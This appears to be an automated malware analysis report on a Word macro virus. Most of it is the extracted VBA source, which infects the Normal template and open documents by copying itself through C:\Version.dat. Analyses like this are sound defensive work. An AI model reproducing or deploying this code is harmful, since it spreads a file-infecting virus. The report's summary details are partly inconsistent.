MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains VBA macros, including a Document_Open macro, which is a common technique for malicious documents. The macro attempts to write its own code to 'C:\Version.dat', indicating an attempt to establish persistence or download a second-stage payload. The presence of ClamAV detections further supports its malicious nature.
Heuristics 3
-
ClamAV: Doc.Trojan.Marker-31 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Marker-31
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 6728 bytes |
SHA-256: b5b200f2f35e300de4320b1f9919263de027b3a7df620a3e13390fb2420c427d |
|||
|
Detection
ClamAV:
Doc.Trojan.Marker-21
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1TemplateProject.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
Const Marker = "<- this is a new killer!"
'Declare Variables
Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
Dim ad, nt As Object, iCount As Integer
Dim OurCode, UserAddress, LogData, LogFile As String
'Initialize Variables
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)
DocumentInfected = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
NormalTemplateInfected = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)
If ActiveDocument.VBProject.VBComponents.Count > 1 Then
DocumentInfected = False
End If
If NormalTemplate.VBProject.VBComponents.Count > 1 Then
If NormalTemplate.VBProject.VBComponents.Item(2).CodeModule.CountOfLines > 2 Then
NormalTemplateInfected = False
End If
End If
'Switch the VirusProtection ON
Options.VirusProtection = True
'write to file
If DocumentInfected = True Then
If NormalTemplateInfected = False Then
Kill "C:\Version.dat"
Open "C:\Version.dat" For Output As #1
OurCode = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)
Print #1, OurCode
Close #1
iCount = NormalTemplate.VBProject.VBComponents.Count
For i = 1 To iCount
NormalTemplate.VBProject.VBComponents.Item(i).CodeModule.DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(i).CodeModule.CountOfLines
Next i
' NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, _
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.AddFromFile "C:\Version.dat"
NormalTemplate.Save
End If
End If
If NormalTemplateInfected = True Then
If DocumentInfected = False Then
Kill "C:\Version.dat"
Open "C:\Version.dat" For Output As #1
OurCode = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)
Print #1, OurCode
Close #1
iCount = NormalTemplate.VBProject.VBComponents.Count
For i = 1 To iCount
ActiveDocument.VBProject.VBComponents.Item(i).CodeModule.DeleteLines 1, ActiveDocument.VBProject.VBComponents.Item(i).CodeModule.CountOfLines
Next i
'ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, _
ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.AddFromFile "C:\Version.dat"
ActiveDocument.Save
End If
End If
End Sub
Private Sub Document_Close()
On Error Resume Next
Const Marker = "<- this is a new killer!"
'Declare Variables
Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
Dim ad, nt As Object, iCount As Integer
Dim OurCode, UserAddress, LogData, LogFile As String
'Initialize Variables
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)
DocumentInfected = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
NormalTemplateInfected = nt.CodeModule.Find(Marker, 1, 1, 10000,
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.